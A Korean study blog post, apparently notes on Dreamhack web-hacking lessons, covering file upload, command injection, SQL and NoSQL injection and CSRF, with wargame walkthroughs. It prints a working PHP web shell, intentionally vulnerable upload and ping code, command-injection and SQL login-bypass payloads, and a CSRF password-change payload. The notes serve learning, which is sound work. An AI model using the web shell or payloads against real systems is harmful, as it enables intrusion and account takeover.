File Upload Vulnerability

공격자의 파일을 웹서비스 파일 시스템에 업로드하는 과정에서 발생

파일 시스템 상의 임의 경로에 원하는 파일 업로드, 악성 확장자 갖는 파일업로드 할 떄 발생

원하는 시스템 커맨드르 실행하는 원격 코드 실행 취약점을 유발

이용자가 업로드 될 파일 이름을 임의로 정할 수 있을 때 발생


Path Traversal 취약점 : 업로드에 존재하는 제약을 우회하여, 임의 디렉토리에 파일을 업로드할 수 있는 취약점

from flask import Flask, request
app = Flask(__name__)
@app.route('/fileUpload', methods = ['GET', 'POST'])
def upload_file():
	if request.method == 'POST':
		f = request.files['file']
		f.save("./uploads/" + f.filename)
		return 'Upload Success'
	else:
		return """
		<form action="/fileUpload" method="POST" enctype="multipart/form-data">
			<input type="file" name="file" />
			<input type="submit"/>
		</form>
		"""
if __name__ == '__main__':
	app.ru

./fileUpload는 POST 요청 받으면 클라이언트가 전송한 파일을 ./uploads에 저장함.

파일이름을 f.filename으로 그대로 사용해서 취약함. 공격자가 상위 디렉토리에 파일을 업로드 할 수 있음.

 

악성 파일 업로드 : 이용자가 파일 업로드할때, 제대로 검사하지 않을때 발생

- 웹쉘

웹서버는 .php, .jsp, .asp와 같은 확장자 파일을 Common Gateway Interface로 실행하고 결과를 이용자에게 반환함.

<FilesMatch ".+\.ph(p[3457]?|t|tml)$"> SetHandler application/x-httpd-php</FilesMatch>

파일의 확장자가 정규표현식을 만족하면 x-httpd-php로 핸들링하게 하는 Apache설정파일임.

x-httpd-php는 PHP엔진이고 요청한 파일을 실행하고 그 결과를 반환함. 

=> 많은 웹서버들이 php파일에 대해 위처럼 핸들링 지원 → 공격자가 임의의 php 소스 파일을 .php확장자로 업로드하고 GET요청 보낼 수 있으면 CGI에 의해 해당 코드 실행되도록 가능

 

- 악의적인 웹 리소스

웹 브라우저는 파일의 확장자나 응답의 Content-Type에 따라 요청을 다양하게 처리함

ex) 

  • 요청한 파일의 확장자가 .html이거나, 반환된 content-type헤더가 text/html일 경우 응답은 HTML엔진으로 처리 <..??
  • 파일 확장자가 .png, .jpg등의 이미지 확장자, content-type이 image/png일 경우에 이미지로 렌더링됨.
  •  공격자가 서버에 exploit.html을 업로드하고 이에 접근하는 URL이 https://dreamhack.io/uploads/exploit.html이면 브라우저는 html로 해석함. → exploit.html에 악의적인 스크립트 삽입시, XSS공격으로 이어질 수 있음.

File Download Vulnerability

웹 서비스의 파일 시스템에 존재하는 파일을 다운하는 과정에서 발생

공격자는 웹 서비스의 파일시스템에 존재하는 임의의 파일 다운로드 가능

설정파일, 패스워드파일, 데이터베이스 백업 본 등을 다운해서 민감한 정보 탈취, 2차 공격 수행 가능

 이용자가 다운로드할 파일 이름을 임의로 정할 수 있을 때 발생


image-storage

 

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>

업로드 파일에 대해 검사하지 않음 → 웹 쉘 업로드 공격에 취약

 

//(출처: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 ) 
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?></pre></body></html>

Command Injection

이용자의 입력을 시스템 명령어로 실행하게 하는 취약점.

→ 명령어를 실행하는 함수에 이용자가 임의의 인자를 전달할 수 있을 때 발생함.

 

ex) url쿼리를 통해 전달되는 ip값을 ping 명령어의 인자들 전달

@app.route('/ping')
def ping():
	ip = request.args.get('ip')
	return os.system(f'ping -c 3 {ip}')
$ ping -c 3 1.1.1.1; id
$ ping -c 3 1.1.1.1 && id
$ ping -c 3 1.1.1.1 | id

[방어]

입력값에 대한 메타 문자의 유무 검사하거나 시스템 메타 문자를 해석하지 않고 그대로 사용하는 함수를 사용해야함.

SQL(Structured Query Language)

RDBMS의 데이터를 정의하고 질의, 수정등을 하기 위해 고안된 언어.

 

Injection 공격

이용자의 입력값이 애플리케이션의 처리 과정에서 구조나 문법적인 데이터로 해석되어 발생하는 취약점

 

SQL Injection

SQL 구문에 임의 문자열을 삽입하는 행위. → 조작된 쿼리로 인증을 우회하거나 데이터 베이스 정보 유출 가능.

SELECT * FROM user_table WHERE uid='admin' or '1' and upw='';

1. uid = admin admin 결과 반환

2. 이전식이 참이고 upw가 없는 경우 → 아무런 결과 반환 안함.

=> uid가 admin데이터를 반환하기 떄문에 관리자 계정으로 로그인 가능

 

* 주석 : --, #, /**/

 

Blind SQL Injection

DBMS가 답변 가능한 형태로 질문하면서 질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 겨로가로 데이터를 획득하는 공격 기법.

substr(string, position, length)
substr('abcd', 1, 1) = 'a'

# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True

 

Blind SQL Injection 공격 스크립트

- requests 모듈

HTTP통신을 위한 파이썬 모듈 → HTTP 요청, 응답, 확인 가능


 

simple_sqli

SQL Injection 공격 쿼리문

1. ID : admin" --

2. ID : admin

    PW : --" or userid="admin

3. ID : " or 1 LIMIT1,1--


NoSQL Injection

MongoDB경우 : 이용자의 입력값에 대한 타입 검증이 불충분할 때 발생.

→ 이용자의 입력값에 대해 타입을 검증하지 않을때 오브젝트 타입의 값을 입력할 수 있음.

$ne (not equal)연산자는 입력한 데이터와 일치하지 않는 데이터 반환함. 공격자는 계정 정보를 몰라도 $ne사용해서 정보 알아낼 수 있음.

 

Blind NoSQL Injection

MongoDB 경우

  • $expr : 쿼리 언어 내에서 집계 식 사용
  • $regex : 지정된 정규식과 일치하는 데이터 조회

  • $text : 지정된 텍스트 검색
  • $where : JavaScript 표현식을 만족하는 문서와 일치

Mango

string외에 다양한 형태의 object도 쿼리로 전달될 수 있음.

 

참고 사이트

https://velog.io/@silvergun8291/Dreamhack-Mango

https://goseungduk.tistory.com/62

 

잘 모르겠다ㅏㅏ


CSRF

이용자를 속여서 의도치 않은 요청에 동의하게 하는 공격

임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점

Ex) 그럴듯한 웹페이지를 만들어 이용자의 입력을 유도하고, 이용자가 값을 입력하면 이를 은행이나 중요 포털 사이트 등으로 전송하여 이용자가 동의한것 같은 요청을 발생시킴.

공격자는 임의 이용자의 권한으로 서비스 기능을 사용해 이득을 취함.

XSS, CSRF 차이

XSS : 인증 정보인 세션 및 쿠키 탈취를 목적으로 하는 공격, 공격할 사이트의 오리진에서 스크립트를 실행.

CSRF : 임의 페이지에 HTTP요청을 보내는 것을 목적으로 하는 공격. 공격자는 악성 스크립트가 포함된 페이지에 적용한 이용자의 권한으로 웹 서비스의 임의 기능을 실행할 수 있음.


vuln(csrf) page에 접속시

param에 <script>구문이 들어간 걸 알 수 있다

 

guest로 login 시

users = {
    'guest': 'guest',
    'admin': FLAG
}

admin아니라고 메시지 나옴.

flag부분을 통해서 비번을 admin으로 바꿔야 되는거 같다.

def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param

파라미터에 frame, script, on을 넣으면 *으로 대체되는걸 알 수 있다.

→ XSS 공격 방지 목적으로 존재

⇒ 필터링 키워드 외에 <,>,다른 키워드, 태그는 사용가능 → CSRF 공격 수행 가능

 

def change_password():
    pw = request.args.get("pw", "")
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    users[username] = pw
    return 'Done'

pw는 get으로 받아오고 sessionid에서 username을 가져오는 것 같다.

<img src="/change_password?pw=admin">으로 pw를 admin으로 바꿔준다.

flag창에서 guest계정이 아닌 admin계정의 비밀번호를 바꿀 수 있는 이유는 flag페이지에서 post할때 sessionid가 admin이라 가능하다.

 

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        session_id = os.urandom(16).hex()
        session_storage[session_id] = 'admin'
        if not check_csrf(param, {"name":"sessionid", "value": session_id}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        print(str(e))
        # return str(e)
        return False
    driver.quit()
    return True

이용자의 요청이 GET인 경우 → 이용자에게 링크를 입력받는 화면을 출력

이용자의 요청이 POST인 경우 → ?

 

바꿔준 후 다시 로그인시 flag를 확인할 수 있다.

+ Recent posts